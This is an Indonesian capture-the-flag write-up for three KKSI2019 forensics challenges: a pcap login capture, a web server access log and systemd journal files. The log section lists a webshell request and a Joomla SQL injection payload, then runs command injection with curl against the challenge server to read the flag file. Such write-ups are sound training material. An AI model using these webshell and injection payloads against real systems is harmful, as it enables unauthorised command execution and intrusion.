Merupakan ajang Kompetisi Komunitas Siber Indonesia yang diselenggarakan oleh Staff Teritorial Angkatan Darat yang bekerjasama dengan Federasi Teknologi Informasi Indonesia (FTII). Pada kompetisi sini terdapat beberapa aspek yang diujikan, seperti halnya kompetensi Forensic Analysis, CTF, CND, dan Pentesting.

Resource dan writeup lainnya dapat dilihat di sini

๐Ÿ”— Login Traffic

File Download : Download Here

Hint : -

Format Flag : KKSI2019{flag}

Diberikan berkas paket data bernama login_trafic.pcapng. Sebagai permulaan, akan dilakukan enumerasi informasi terkait statistik dari paket data. Adapun proses ini dilakukan dengan bantuan tshark.

$ tshark -r login_trafic.pcapng -q -z io,phs

===================================================================
Protocol Hierarchy Statistics
Filter:

frame                                    frames:7850 bytes:5775102
  eth                                    frames:7850 bytes:5775102
    ip                                   frames:7797 bytes:5770400
      tcp                                frames:7604 bytes:5750823
        http                             frames:92 bytes:56681
          data-text-lines                frames:14 bytes:13030
            tcp.segments                 frames:8 bytes:7400
          data                           frames:17 bytes:13977
            tcp.segments                 frames:16 bytes:13158
          media                          frames:4 bytes:1666
            tcp.segments                 frames:4 bytes:1666
          urlencoded-form                frames:1 bytes:770
          ocsp                           frames:4 bytes:3367
          png                            frames:1 bytes:765
            tcp.segments                 frames:1 bytes:765
        tls                              frames:3352 bytes:3687265
          tcp.segments                   frames:1800 bytes:2541421
            tls                          frames:1596 bytes:2325249
        tcp.segments                     frames:1 bytes:1474
        data                             frames:3 bytes:3200
      udp                                frames:193 bytes:19577
        dns                              frames:84 bytes:9276
        llmnr                            frames:40 bytes:2560
        nbns                             frames:60 bytes:5520
        nbdgm                            frames:1 bytes:249
          smb                            frames:1 bytes:249
            mailslot                     frames:1 bytes:249
              browser                    frames:1 bytes:249
        dhcp                             frames:2 bytes:932
        ntp                              frames:2 bytes:180
        ssdp                             frames:4 bytes:860
    ipv6                                 frames:47 bytes:4396
      udp                                frames:47 bytes:4396
        llmnr                            frames:40 bytes:3360
        dhcpv6                           frames:7 bytes:1036
    arp                                  frames:6 bytes:306
===================================================================

Berdasarkan hasil yang diperoleh, nampak terlihat bahwa terdapat 7850 packet.frame yang tersusun oleh beberapa protokol seperti halnya arp, udp, dan tcp. Selanjutnya mengambil relevansi dari kata kunci login traffic, scope penelusuran akan difokuskan pada semua HTTP requests dengan metode POST.

$ tshark -r login_trafic.pcapng -Y 'http.request.method eq POST'
 3062  64.460690 0.000000000    10.0.2.15 โ†’ 118.67.248.41 HTTP POST /src/redirect.php HTTP/1.1  (application/x-www-form-urlencoded) 770

Hasilnya, diperoleh satu buah packet.frame yang satisfiable dengan kondisi yang diberikan. Dari sini, dapat langsung dilakukan pengecekan terhadap body params dari HTML Form yang diinputkan.

$ tshark -r login_trafic.pcapng -Y 'http.request.method eq POST' -Tfields -e http.file_data
js_autodetect_results=1&just_logged_in=1&login_username=user%40user.com&secretkey=S0tTSTIwMTl7Q1lCM3JfQUQhISEhfQ

Berdasarkan eksekusi tersebut, dapat diketahui bahwa terdapat parameter secretkey yang memuat value dari base64-encoded text. Untuk itu, Kami lakukan proses decoding sehingga diperoleh flag yang diminta

$ base64 -d <<< S0tTSTIwMTl7Q1lCM3JfQUQhISEhfQ
KKSI2019{CYB3r_AD!!!!}base64: invalid input

FLAG : KKSI2019{CYB3r_AD!!!!}

๐Ÿ”— Read the Log

Get Flag Here

Read the Log

Diberikan berkas log bernama access.log yang memuat sekumpulan HTTP log dari sebuah web server. Selain itu, diberikan pula sebuah web service yang dapat digunakan untuk me-reproduce skema yang tertera pada log. Dari sini, Kami menyusun sebuah skema analisis sebagai berikut

Log Cleansing

Untuk mempermudah proses penelusuran, akan diambil beberapa field yang menurut kami relevan, seperti halnya status_code & request.uri. Hal ini dimaksudkan agar struktur log menjadi lebih readable saat dilakukan analisis.

$ awk '{print $9,$7}' access.log > clean

$ head clean
200 /
200 /assets/css/blog.css
200 /assets/css/bootstrap.min.css
200 /assets/js/bootstrap.min.js
200 /assets/js/jquery.min.js
404 /favicon.ico
200 /?page=loremipsum.html
200 /
200 /assets/css/bootstrap.min.css
200 /assets/css/blog.css

Display Request Statistic

Sebelum dilakukan penelusuran lebih lanjut, dilakukan proses enumerasi untuk mengetahui okurensi dari tiap-tiap status_code.

$ awk '{print $1}' clean | egrep '^[0-9]{0,3}$' | sort | uniq -c
    473 200
      1 301
      2 304
    118 400
      4 403
   9820 404
     16 405
      2 408

Hasilnya, diketahui bahwa HTTP log dipenuhi oleh mayoritas 404 Not Found request yang kemungkinan merupakan hasil dari skema web scanning. Dalam hal ini, Kita akan melakukan analisis terhadap 200 OK request yang lebih relevan.

Inspect Request Parameter

Untuk memperkecil scope pencarian, Kami berinisiatif untuk melakukan filtering untuk setiap request terhadap endpoint PHP file yang memiliki query_params tertentu. Hal ini dimaksudkan untuk mencari request yang memuat parameter yang biasa digunakan dalam proses eksploitasi, seperti webshell, backdoor, dan sebagainya.

$ awk '{print $1, $2}' clean | grep '^200 /.*.php?' | sort | uniq
200 /.system.php?f=system&p=id
200 /index.php?cat_id=1
200 /index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(1,user()),1)
200 /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20

Hasilnya, diperoleh endpoint yang menarik, yaitu /.system.php dengan query_params yang memuat serangkaian command injection, yaitu f=system dan p=id. Berbekal informasi inilah, dilakukan proses reproduce pada web service yang tersedia.

$ curl "http://202.148.2.243:30011/.system.php?f=system&p=ls"
flllllllaaaaaaaaaaaaaaaaaaaaaaaaaaa_g.txt
index.php
test_lagi

Dapat terlihat bahwa command injection berhasil dijalankan. Dari sini, Kami lakukan stdout file untuk memperoleh isi dari flllllllaaaaaaaaaaaaaaaaaaaaaaaaaaa_g.txt

$ curl "http://202.148.2.243:30011/.system.php?f=system&p=cat<flllllllaaaaaaaaaaaaaaaaaaaaaaaaaaa_g.txt"
KKSI2019{Emang_Sabar_Adalah_Kuncinya}

FLAG : KKSI2019{Emang_Sabar_Adalah_Kuncinya}

๐Ÿ”— Member have Journal

‘camel’ script its the key

Download Here

Diberikan ZIP archive bernama journal_milik_nayeon.zip yang memuat empat buah file yang masing-masing merupakan system.journal & user.journal. Sebagaimana sistem logging pada umumnya, system & user journal merupakan log yang memuat serangkaian status dan respon yang terjadi pada sistem operasi yang didefinisikan ke dalam journal field, mulai dari PID, MESSAGE_ID, CMDLINE, dan sebagainya.

Berbekal pemahaman tersebut, Kami lakukan proses filtering untuk mengetahui semua command execution yang user lakukan.

$ strings *.journal | grep CMD | sort | uniq
_CMDLINE
_CMDLINE=(systemd)
_CMDLINE=/bin/bash /sbin/blkdeactivate -u -l wholevg -m disablequeueing -r wait
_CMDLINE=/bin/login -p --
_CMDLINE=/bin/sh /etc/init.d/apparmor start
_CMDLINE=/bin/sh /etc/init.d/apport start
_CMDLINE=/bin/sh /etc/init.d/apport stop
_CMDLINE=/bin/sh /etc/init.d/grub-common start
_CMDLINE=/lib/systemd/systemd --user
_CMDLINE=/lib/systemd/systemd-journald
_CMDLINE=/lib/systemd/systemd-logind
_CMDLINE=/lib/systemd/systemd-networkd
_CMDLINE=/lib/systemd/systemd-networkd-wait-online
_CMDLINE=/lib/systemd/systemd-resolved
_CMDLINE=/lib/systemd/systemd-timesyncd
_CMDLINE=/lib/systemd/systemd-udevd
_CMDLINE=/sbin/init
_CMDLINE=/usr/bin/chage -M 99999 mysql
_CMDLINE=/usr/bin/chfn -f MySQL Server mysql
_CMDLINE=/usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
_CMDLINE=/usr/bin/lxcfs /var/lib/lxcfs/
_CMDLINE=/usr/bin/perl /home/hasan/.2e3f3e17ebcb87baad8539475a1f91d41953c15 8888
_CMDLINE=/usr/bin/python3 /usr/bin/cloud-init init
_CMDLINE=/usr/bin/python3 /usr/bin/cloud-init init --local
_CMDLINE=/usr/bin/python3 /usr/bin/cloud-init modules --mode=config
_CMDLINE=/usr/bin/python3 /usr/bin/cloud-init modules --mode=final
_CMDLINE=/usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
_CMDLINE=/usr/lib/accountsservice/accounts-daemon
_CMDLINE=/usr/lib/policykit-1/polkitd --no-debug
_CMDLINE=/usr/lib/snapd/snapd
_CMDLINE=/usr/sbin/cron -f
_CMDLINE=/usr/sbin/groupadd -g 113 mysql
_CMDLINE=/usr/sbin/irqbalance --foreground
_CMDLINE=/usr/sbin/mysqld
_CMDLINE=/usr/sbin/rsyslogd -n
_CMDLINE=/usr/sbin/sshd -D
_CMDLINE=/usr/sbin/thermald --no-daemon --dbus-enable
_CMDLINE=/usr/sbin/useradd -d /nonexistent -g mysql -s /bin/false -u 111 mysql
_CMDLINE=logger -p daemon err -t mysqld_safe -i
_CMDLINE=logger -p daemon info -i -t/etc/mysql/debian-start Checking for insecure root accounts.
_CMDLINE=logger -p daemon info -i -t/etc/mysql/debian-start Triggering myisam-recover for all MyISAM tables and aria-recover for all Aria tables
_CMDLINE=logger -p daemon info -i -t/etc/mysql/debian-start Upgrading MySQL tables if necessary.
_CMDLINE=logger -p daemon warn -i -t/etc/mysql/debian-start
_CMDLINE=su
_CMDLINE=sudo su

Tampak terlihat bahwa mayoritas log hanya memuat aktivitas daemon atau background process dari entri systemd yang tersedia. Kendati demikian, apabila dicermati lebih seksama, terdapat salah satu command yang menjalankan perl (camel) script disertai dengan port 8888 oleh user bernama hasan.

$ /usr/bin/perl /home/hasan/.2e3f3e17ebcb87baad8539475a1f91d41953c15 8888

Dari sini, Kami berasumsi bahwa terdapat informasi yang bisa diperoleh dari isi script tersebut. Namun, hal ini tidak dapat dilakukan mengingat log tidak menyimpan isi dari sebuah binary file. Menyadari kenyataan itulah, Kami pun mencoba melakukan submisi flag dengan filename sebagai value nya yang ternyata merupakan flag yang diminta

FLAG : KKSI2019{2e3f3e17ebcb87baad8539475a1f91d41953c15}